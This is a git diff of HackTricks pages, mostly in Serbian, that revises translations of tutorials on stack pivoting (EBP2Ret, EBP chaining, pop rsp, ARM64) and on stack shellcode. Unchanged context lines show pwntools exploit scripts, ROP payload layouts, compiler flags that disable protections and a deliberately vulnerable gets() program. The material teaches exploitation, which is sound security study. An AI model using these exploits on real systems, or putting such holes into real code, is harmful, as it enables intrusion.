+* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+{% endhint %}
diff --git a/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md b/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md
index 1e6e78f25..5962629ab 100644
--- a/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md
+++ b/binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md
@@ -1,74 +1,75 @@
# Stack Pivoting - EBP2Ret - EBP chaining
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Naučite hakovanje AWS-a od nule do heroja sahtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-Drugi načini podrške HackTricks-u:
-
-* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
-* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
-* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
## Osnovne informacije
-Ova tehnika iskorišćava mogućnost manipulacije **Base Pointer-a (EBP)** kako bi se lancala izvršenje više funkcija kroz pažljivu upotrebu EBP registra i sekvence instrukcija **`leave; ret`**.
+Ova tehnika koristi sposobnost manipulacije **Base Pointer (EBP)** za povezivanje izvršavanja više funkcija kroz pažljivo korišćenje EBP registra i sekvencu instrukcija **`leave; ret`**.
-Kao podsetnik, **`leave`** u osnovi znači:
+Kao podsetnik, **`leave`** u suštini znači:
```
mov ebp, esp
pop ebp
ret
```
-I pošto je **EBP u steku** pre EIP-a moguće je kontrolisati ga kontrolišući stek.
+And as the **EBP is in the stack** before the EIP it's possible to control it controlling the stack.
### EBP2Ret
-Ova tehnika je posebno korisna kada možete **izmeniti registar EBP ali nemate direktni način da promenite registar EIP**. Iskorišćava ponašanje funkcija kada završe izvršavanje.
+Ova tehnika je posebno korisna kada možete **promeniti EBP registar, ali nemate direktan način da promenite EIP registar**. Ona koristi ponašanje funkcija kada završe izvršavanje.
-Ako tokom izvršavanja `fvuln` uspete da ubacite **lažni EBP** u stek koji pokazuje na oblast u memoriji gde se nalazi adresa vašeg shell koda (plus 4 bajta da se uzme u obzir operacija `pop`), možete indirektno kontrolisati EIP. Kako `fvuln` završava, ESP je postavljen na ovu izrađenu lokaciju, a naknadna `pop` operacija smanjuje ESP za 4 bajta, **efektivno ga usmeravajući na adresu koju je napadač tamo sačuvao.**\
-Primetite kako **morate znati 2 adrese**: Onu gde će ići ESP, gde ćete morati napisati adresu na koju pokazuje ESP.
+Ako, tokom izvršavanja `fvuln`, uspete da injektujete **lažni EBP** u stek koji pokazuje na oblast u memoriji gde se nalazi adresa vašeg shellcode-a (plus 4 bajta da se uzme u obzir `pop` operacija), možete indirektno kontrolisati EIP. Kada `fvuln` vrati, ESP se postavlja na ovu kreiranu lokaciju, a naredna `pop` operacija smanjuje ESP za 4, **efektivno ga usmeravajući na adresu koju je napadač sačuvao tamo.**\
+Obratite pažnju da **morate znati 2 adrese**: onu na koju će ESP ići, gde ćete morati da upišete adresu na koju pokazuje ESP.
-#### Konstrukcija eksploatacije
+#### Exploit Construction
-Prvo morate znati **adresu gde možete pisati proizvoljne podatke / adrese**. ESP će pokazivati ovde i **izvršiti prvi `ret`**.
+Prvo morate znati **adresu na kojoj možete pisati proizvoljne podatke / adrese**. ESP će pokazivati ovde i **izvršiti prvi `ret`**.
-Zatim, morate znati adresu koju koristi `ret` koja će **izvršiti proizvoljni kod**. Mogli biste koristiti:
+Zatim, morate znati adresu koju koristi `ret` koja će **izvršiti proizvoljni kod**. Možete koristiti:
* Validnu [**ONE\_GADGET**](https://github.com/david942j/one\_gadget) adresu.
-* Adresu **`system()`** praćenu sa **4 smećna bajta** i adresom `"/bin/sh"` (x86 bita).
-* Adresu **`jump esp;`** gedžeta ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) praćenu **shell kodom** za izvršavanje.
-* Neki [**ROP**](../rop-return-oriented-programing/) lanac
+* Adresu **`system()`** praćenu **4 bajta smeća** i adresu `"/bin/sh"` (x86 bitovi).
+* Adresu **`jump esp;`** gadgeta ([**ret2esp**](../rop-return-oriented-programing/ret2esp-ret2reg.md)) praćenu **shellcode-om** koji treba izvršiti.
+* Neki [**ROP**](../rop-return-oriented-programing/) lanac.
-Zapamtite da pre bilo koje od ovih adresa u kontrolisanom delu memorije, moraju biti **`4` bajta** zbog **`pop`** dela `leave` instrukcije. Bilo bi moguće zloupotrebiti ove 4B da se postavi **drugi lažni EBP** i nastavi kontrolisanje izvršavanja.
+Zapamtite da pre bilo koje od ovih adresa u kontrolisanom delu memorije, mora biti **`4` bajta** zbog **`pop`** dela `leave` instrukcije. Bilo bi moguće zloupotrebiti ovih 4B da postavite **drugi lažni EBP** i nastavite sa kontrolisanjem izvršavanja.
-#### Off-By-One eksploatacija
+#### Off-By-One Exploit
-Postoji specifična varijanta ove tehnike poznata kao "Off-By-One eksploatacija". Koristi se kada možete **samo izmeniti najmanje značajan bajt EBP-a**. U takvom slučaju, lokacija memorije koja čuva adresu na koju treba skočiti sa **`ret`** mora deliti prva tri bajta sa EBP-om, omogućavajući sličnu manipulaciju sa strožijim uslovima.\
-Obično se modifikuje bajt 0x00 da bi se skočilo što dalje.
+Postoji specifična varijanta ove tehnike poznata kao "Off-By-One Exploit". Koristi se kada možete **samo modifikovati najmanje značajan bajt EBP-a**. U takvom slučaju, memorijska lokacija koja čuva adresu na koju treba skočiti sa **`ret`** mora deliti prva tri bajta sa EBP-om, omogućavajući sličnu manipulaciju sa strožim uslovima.\
+Obično se modifikuje bajt 0x00 da skoči što je dalje moguće.
-Takođe, uobičajeno je koristiti RET klizaljku u steku i staviti pravi ROP lanac na kraju kako bi bilo verovatnije da novi ESP pokazuje unutar RET KLIZALJKE i da se izvrši konačni ROP lanac.
+Takođe, uobičajeno je koristiti RET sled u steku i staviti pravi ROP lanac na kraju kako bi se povećala verovatnoća da novi ESP pokazuje unutar RET SLED-a i da se konačni ROP lanac izvrši.
-### **EBP Povezivanje**
+### **EBP Chaining**
-Stavljanjem kontrolisane adrese u `EBP` unos steka i adrese za `leave; ret` u `EIP`, moguće je **pomeriti `ESP` na kontrolisanu `EBP` adresu iz steka**.
+Dakle, postavljanjem kontrolisane adrese u `EBP` unos steka i adrese za `leave; ret` u `EIP`, moguće je **premestiti `ESP` na kontrolisanu `EBP` adresu iz steka**.
-Sada je **`ESP`** kontrolisan pokazujući na željenu adresu i sledeća instrukcija za izvršavanje je `RET`. Da bi se iskoristilo ovo, moguće je staviti na kontrolisano mesto ESP-a ovo:
+Sada je **`ESP`** kontrolisan i pokazuje na željenu adresu, a sledeća instrukcija za izvršavanje je `RET`. Da biste to zloupotrebili, moguće je staviti na kontrolisano mesto ESP ovo:
-* **`&(sledeći lažni EBP)`** -> Učitaj novi EBP zbog `pop ebp` iz `leave` instrukcije
+* **`&(next fake EBP)`** -> Učitaj novi EBP zbog `pop ebp` iz `leave` instrukcije
* **`system()`** -> Pozvan od strane `ret`
-* **`&(leave;ret)`** -> Pozvan nakon što system završi, pomeriće ESP na lažni EBP i početi ponovo
+* **`&(leave;ret)`** -> Pozvan nakon što sistem završi, premestiće ESP na lažni EBP i ponovo početi
* **`&("/bin/sh")`**-> Parametar za `system`
-Na ovaj način je moguće povezati nekoliko lažnih EBPa da bi se kontrolisao tok programa.
+U suštini, na ovaj način je moguće povezati nekoliko lažnih EBP-ova kako bi se kontrolisao tok programa.
-Ovo je kao [ret2lib](../rop-return-oriented-programing/ret2lib/), ali složenije bez očigledne koristi ali može biti interesantno u nekim ekstremnim slučajevima.
+Ovo je kao [ret2lib](../rop-return-oriented-programing/ret2lib/), ali složenije bez očigledne koristi, ali bi moglo biti zanimljivo u nekim ivicama.
-Osim toga, ovde imate [**primer izazova**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) koji koristi ovu tehniku sa **curenjem steka** da pozove pobedničku funkciju. Ovo je konačni payload sa stranice:
+Štaviše, ovde imate [**primer izazova**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/leave) koji koristi ovu tehniku sa **stack leak** da pozove pobedničku funkciju. Ovo je konačni payload sa stranice:
```python
from pwn import *
@@ -106,8 +107,8 @@ print(p.recvline())
```
## EBP možda neće biti korišćen
-Kao što je [**objašnjeno u ovom postu**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), ako je binarni fajl kompajliran sa određenim optimizacijama, **EBP nikada ne kontroliše ESP**, stoga, bilo koji eksploit koji radi kontrolišući EBP će zapravo neuspeti jer nema stvarnog efekta.\
-Ovo je zato što se **prolog i epilog menjaju** ako je binarni fajl optimizovan.
+Kao [**objašnjeno u ovom postu**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#off-by-one-1), ako je binarni fajl kompajliran sa nekim optimizacijama, **EBP nikada ne kontroliše ESP**, stoga, bilo koja eksploatacija koja funkcioniše kontrolisanjem EBP će u osnovi propasti jer nema stvarni efekat.\
+To je zato što se **prolog i epilog menjaju** ako je binarni fajl optimizovan.
* **Nije optimizovan:**
```bash
@@ -131,11 +132,11 @@ add $0x10c,%esp # reduce stack size
pop %ebx # restore ebx
ret # return
```
-## Druge metode kontrole RSP-a
+## Druge metode za kontrolu RSP
-### **`pop rsp`** gedžet
+### **`pop rsp`** gadget
-[**Na ovoj stranici**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) možete pronaći primer korišćenja ove tehnike. Za ovaj izazov bilo je potrebno pozvati funkciju sa 2 specifična argumenta, i postojao je **`pop rsp` gedžet** i postoji **leak sa steka**:
+[**Na ovoj stranici**](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp) možete pronaći primer korišćenja ove tehnike. Za ovaj izazov bilo je potrebno pozvati funkciju sa 2 specifična argumenta, a postojala je **`pop rsp` gadget** i postoji **leak sa steka**:
```python
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
@@ -179,7 +180,7 @@ pause()
p.sendline(payload)
print(p.recvline())
```
-### xchg \, rsp gedžet
+### xchg \, rsp gadget
```
pop <=== return pointer
@@ -187,33 +188,33 @@ xchg , rsp
```
### jmp esp
-Proverite tehniku ret2esp ovde:
+Proverite ret2esp tehniku ovde:
{% content-ref url="../rop-return-oriented-programing/ret2esp-ret2reg.md" %}
[ret2esp-ret2reg.md](../rop-return-oriented-programing/ret2esp-ret2reg.md)
{% endcontent-ref %}
-## Reference & Drugi Primeri
+## Reference i drugi primeri
* [https://bananamafia.dev/post/binary-rop-stackpivot/](https://bananamafia.dev/post/binary-rop-stackpivot/)
* [https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting](https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting)
* [https://guyinatuxedo.github.io/17-stack\_pivot/dcquals19\_speedrun4/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/dcquals19\_speedrun4/index.html)
-* 64 bita, off by one eksploatacija sa rop lancem koji počinje sa ret sledom
+* 64 bita, off by one eksploatacija sa rop lancem koji počinje sa ret sled
* [https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html](https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html)
-* 64 bita, bez relro-a, canary-ja, nx-a i pie-a. Program omogućava leak za stack ili pie i WWW od qword-a. Prvo dobijte stack leak i koristite WWW da se vratite i dobijete pie leak. Zatim koristite WWW da napravite večnu petlju zloupotrebom unosa `.fini_array` + pozivanjem `__libc_csu_fini` ([više informacija ovde](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini\_array.md)). Zloupotrebom ovog "večnog" pisanja, piše se ROP lanac u .bss i završava se pozivajući ga pivoting sa RBP.
+* 64 bita, bez relro, kanarinca, nx i pie. Program omogućava leak za stack ili pie i WWW za qword. Prvo dobijte stack leak i koristite WWW da se vratite i dobijete pie leak. Zatim koristite WWW da kreirate večnu petlju zloupotrebljavajući `.fini_array` unose + pozivajući `__libc_csu_fini` ([više informacija ovde](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini\_array.md)). Zloupotrebljavajući ovo "večito" pisanje, napisano je ROP lanac u .bss i završava pozivajući ga pivotovanjem sa RBP.
## ARM64
-U ARM64, **prolog i epilog** funkcija **ne čuvaju i ne vraćaju SP registar** na steku. Osim toga, **`RET`** instrukcija ne vraća se na adresu na koju pokazuje SP, već **na adresu unutar `x30`**.
+U ARM64, **prolog i epilog** funkcija **ne čuvaju i ne preuzimaju SP registar** u stacku. Štaviše, **`RET`** instrukcija ne vraća se na adresu koju pokazuje SP, već **na adresu unutar `x30`**.
-Stoga, podrazumevano, samo zloupotrebom epiloga **nećete moći kontrolisati SP registar** preko prepisivanja nekih podataka unutar steka. Čak i ako uspete da kontrolišete SP, i dalje biste trebali način da **kontrolišete `x30`** registar.
+Stoga, po defaultu, samo zloupotrebljavajući epilog nećete moći da **kontrolišete SP registar** prepisivanjem nekih podataka unutar stacka. I čak i ako uspete da kontrolišete SP, i dalje bi vam bila potrebna mogućnost da **kontrolišete `x30`** registar.
* prolog
```armasm
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
-mov x29, sp // FP pokazuje na zapis okvira
+mov x29, sp // FP pokazuje na frame record
```
* epilog
@@ -224,25 +225,26 @@ ret
```
{% hint style="danger" %}
-Način da se izvede nešto slično stack pivoting-u u ARM64 bio bi da možete da **kontrolišete `SP`** (kontrolišući neki registar čija vrednost se prosleđuje `SP` ili zato što iz nekog razloga `SP` uzima svoju adresu sa steka i imamo prelivanje) i zatim **zloupotrebite epilog** da učitate **`x30`** registar iz **kontrolisanog `SP`** i **`RET`** na njega.
+Način da se izvede nešto slično pivotovanju stacka u ARM64 bio bi da se može **kontrolisati `SP`** (kontrolisanjem nekog registra čija se vrednost prosleđuje `SP` ili zato što iz nekog razloga `SP` uzima svoju adresu iz stacka i imamo overflow) i zatim **zloupotrebljavati epilog** da učita **`x30`** registar iz **kontrolisanog `SP`** i **`RET`** na njega.
{% endhint %}
-Takođe, na sledećoj stranici možete videti ekvivalent **Ret2esp u ARM64**:
+Takođe na sledećoj stranici možete videti ekvivalent **Ret2esp u ARM64**:
{% content-ref url="../rop-return-oriented-programing/ret2esp-ret2reg.md" %}
[ret2esp-ret2reg.md](../rop-return-oriented-programing/ret2esp-ret2reg.md)
{% endcontent-ref %}
+{% hint style="success" %}
+Učite i vežbajte AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Učite i vežbajte GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Naučite hakovanje AWS-a od nule do heroja sahtARTE (HackTricks AWS Red Team Expert)!
+Podržite HackTricks
-Drugi načini podrške HackTricks-u:
-
-* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
-* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
-* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili **telegram grupi** ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
+* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+{% endhint %}
diff --git a/binary-exploitation/stack-overflow/stack-shellcode/README.md b/binary-exploitation/stack-overflow/stack-shellcode/README.md
index bdbd08f9f..d7d77b0f2 100644
--- a/binary-exploitation/stack-overflow/stack-shellcode/README.md
+++ b/binary-exploitation/stack-overflow/stack-shellcode/README.md
@@ -1,26 +1,27 @@
# Stack Shellcode
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Naučite hakovanje AWS-a od nule do heroja sahtARTE (HackTricks AWS Red Team Expert)!
+Support HackTricks
-Drugi načini podrške HackTricks-u:
-
-* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
-* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
-* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
-## Osnovne informacije
+## Basic Information
-**Stack shellcode** je tehnika korišćena u **binarnom eksploatisanju** gde napadač piše shellcode u stack ranjivog programa, a zatim modifikuje **Instruction Pointer (IP)** ili **Extended Instruction Pointer (EIP)** da pokazuje na lokaciju ovog shellcode-a, uzrokujući njegovo izvršavanje. Ovo je klasična metoda korišćena za sticanje neovlašćenog pristupa ili izvršavanje proizvoljnih komandi na ciljnom sistemu. Evo detaljnog objašnjenja procesa, uključujući jednostavan C primer i kako biste mogli napisati odgovarajući exploit koristeći Python sa **pwntools**.
+**Stack shellcode** je tehnika koja se koristi u **binary exploitation** gde napadač piše shellcode na stek ranjivog programa, a zatim menja **Instruction Pointer (IP)** ili **Extended Instruction Pointer (EIP)** da pokazuje na lokaciju ovog shellcode-a, uzrokujući njegovo izvršavanje. Ovo je klasična metoda koja se koristi za sticanje neovlašćenog pristupa ili izvršavanje proizvoljnih komandi na ciljanom sistemu. Evo pregleda procesa, uključujući jednostavan C primer i kako biste mogli napisati odgovarajući exploit koristeći Python sa **pwntools**.
-### C Primer: Ranjiv program
+### C Example: A Vulnerable Program
-Započnimo sa jednostavnim primerom ranjivog C programa:
+Hajde da počnemo sa jednostavnim primerom ranjivog C programa:
```c
#include
#include
@@ -36,22 +37,22 @@ printf("Returned safely\n");
return 0;
}
```
-Ovaj program je ranjiv na preplavljivanje bafera zbog korišćenja `gets()` funkcije.
+Ovaj program je podložan prelivanju bafera zbog korišćenja `gets()` funkcije.
### Kompilacija
-Da biste kompajlirali ovaj program isključujući različite zaštite (kako biste simulirali ranjivo okruženje), možete koristiti sledeću komandu:
+Da biste kompajlirali ovaj program dok onemogućavate razne zaštite (da simulirate ranjivo okruženje), možete koristiti sledeću komandu:
```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
* `-fno-stack-protector`: Onemogućava zaštitu steka.
-* `-z execstack`: Čini stek izvršivim, što je neophodno za izvršavanje shell koda smeštenog na steku.
-* `-no-pie`: Onemogućava izvršavanje poziciono nezavisnog izvršnog fajla, olakšavajući predviđanje memorijske adrese gde će se nalaziti naš shell kod.
-* `-m32`: Kompajlira program kao 32-bitni izvršni fajl, često korišćeno radi jednostavnosti u razvoju eksploatacije.
+* `-z execstack`: Čini stek izvršivim, što je neophodno za izvršavanje shellcode-a smeštenog na steku.
+* `-no-pie`: Onemogućava poziciono nezavisne izvršne datoteke, olakšavajući predviđanje memorijske adrese na kojoj će se naš shellcode nalaziti.
+* `-m32`: Kompajlira program kao 32-bitnu izvršnu datoteku, često korišćenu zbog jednostavnosti u razvoju eksploata.
-### Python Eksploatacija korišćenjem Pwntools
+### Python Exploit using Pwntools
-Evo kako biste mogli napisati eksploataciju u Pythonu koristeći **pwntools** za izvođenje napada **ret2shellcode**:
+Evo kako možete napisati exploit u Python-u koristeći **pwntools** za izvođenje **ret2shellcode** napada:
```python
from pwn import *
@@ -78,24 +79,39 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
p.sendline(payload)
p.interactive()
```
-Ovaj skript konstruiše payload koji se sastoji od **NOP slide-a**, **shellcode-a**, i zatim prepisuje **EIP** sa adresom koja pokazuje na NOP slide, osiguravajući izvršenje shellcode-a.
+Ovaj skript konstruira payload koji se sastoji od **NOP slide**, **shellcode**, i zatim prepisuje **EIP** sa adresom koja pokazuje na NOP slide, osiguravajući da se shellcode izvrši.
-**NOP slide** (`asm('nop')`) se koristi kako bi se povećala šansa da izvršavanje "klizi" u naš shellcode bez obzira na tačnu adresu. Prilagodite argument `p32()` na početnu adresu vašeg bafera plus offset kako biste dospele do NOP slide-a.
+**NOP slide** (`asm('nop')`) se koristi za povećanje šanse da će izvršenje "kliznuti" u naš shellcode bez obzira na tačnu adresu. Prilagodite `p32()` argument na početnu adresu vašeg bafera plus offset da biste sleteli u NOP slide.
## Zaštite
-* [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **treba biti onemogućen** kako bi adresa bila pouzdana tokom izvršavanja ili adresa na kojoj će funkcija biti smeštena neće uvek biti ista i trebalo bi da imate neki leak kako biste saznali gde je funkcija učitana.
-* [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) takođe treba da budu onemogućeni ili kompromitovana povratna adresa EIP-a neće biti praćena.
-* [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) zaštita **stack-a** bi sprečila izvršavanje shellcode-a unutar stack-a jer ta regija neće biti izvršiva.
+* [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **treba da bude onemogućen** da bi adresa bila pouzdana tokom izvršenja ili adresa na kojoj će funkcija biti smeštena neće uvek biti ista i biće vam potrebna neka leak da biste saznali gde je win funkcija učitana.
+* [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) takođe treba da budu onemogućeni ili kompromitovana EIP adresa povratka nikada neće biti praćena.
+* [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) **stack** zaštita bi sprečila izvršenje shellcode unutar steka jer ta oblast neće biti izvršna.
## Ostali Primeri & Reference
* [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
* [https://guyinatuxedo.github.io/06-bof\_shellcode/csaw17\_pilot/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/csaw17\_pilot/index.html)
-* 64-bit, ASLR sa leak-om adrese stack-a, pisanje shellcode-a i skakanje na njega
+* 64bit, ASLR sa leak-om adrese steka, napiši shellcode i skoči na njega
* [https://guyinatuxedo.github.io/06-bof\_shellcode/tamu19\_pwn3/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/tamu19\_pwn3/index.html)
-* 32-bit, ASLR sa leak-om adrese stack-a, pisanje shellcode-a i skakanje na njega
+* 32 bit, ASLR sa leak-om steka, napiši shellcode i skoči na njega
* [https://guyinatuxedo.github.io/06-bof\_shellcode/tu18\_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/tu18\_shellaeasy/index.html)
-* 32-bit, ASLR sa leak-om adrese stack-a, upoređivanje kako bi se sprečilo pozivanje exit(), prepisivanje promenljive sa vrednošću, pisanje shellcode-a i skakanje na njega
+* 32 bit, ASLR sa leak-om steka, poređenje da se spreči poziv na exit(), prepiši promenljivu sa vrednošću i napiši shellcode i skoči na njega
* [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
-* arm64, bez ASLR-a, ROP gedžet za omogućavanje izvršavanja stack-a i skakanje na shellcode u stack-u
+* arm64, bez ASLR, ROP gadget za izvršavanje steka i skakanje na shellcode u steku
+
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+Support HackTricks
+
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+
+{% endhint %}
diff --git a/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md b/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md
index 7165c4b43..d2e989797 100644
--- a/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md
+++ b/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md
@@ -1,18 +1,19 @@
# Stack Shellcode - arm64
+{% hint style="success" %}
+Učite i vežbajte AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Učite i vežbajte GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Naučite hakovanje AWS-a od nule do heroja sahtARTE (HackTricks AWS Red Team Expert)!
+Podržite HackTricks
-Drugi načini podrške HackTricks-u:
-
-* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
-* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
-* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
-* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
+* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
+* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
